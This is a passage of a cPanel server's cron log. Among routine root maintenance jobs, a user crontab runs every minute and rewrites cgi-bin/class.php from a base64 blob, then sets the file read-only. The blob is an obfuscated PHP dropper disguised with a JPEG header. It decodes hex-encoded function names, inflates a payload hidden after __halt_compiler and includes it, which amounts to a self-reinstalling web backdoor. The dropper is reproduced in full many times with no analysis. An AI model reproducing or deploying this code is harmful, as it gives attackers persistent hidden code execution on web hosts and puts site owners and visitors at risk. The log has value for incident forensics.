KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:17:01 server CROND[18747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:18:01 server CROND[18791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:19:01 server CROND[18939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:20:01 server CROND[19004]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 04:20:01 server CROND[19005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:20:01 server CROND[19007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:20:01 server CROND[19009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:20:01 server CROND[19006]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 04:21:01 server CROND[19119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:22:01 server CROND[19168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:23:01 server CROND[19218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:24:01 server CROND[19266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:25:01 server CROND[19410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:25:01 server CROND[19411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:25:01 server CROND[19409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:25:01 server CROND[19412]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 04:26:01 server CROND[19538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:27:01 server CROND[19587]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 04:27:01 server CROND[19588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:28:01 server CROND[19645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:29:01 server CROND[19694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:30:01 server CROND[19849]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Apr 11 04:30:01 server CROND[19851]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:30:01 server CROND[19852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:30:01 server CROND[19850]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 11 04:30:01 server CROND[19854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
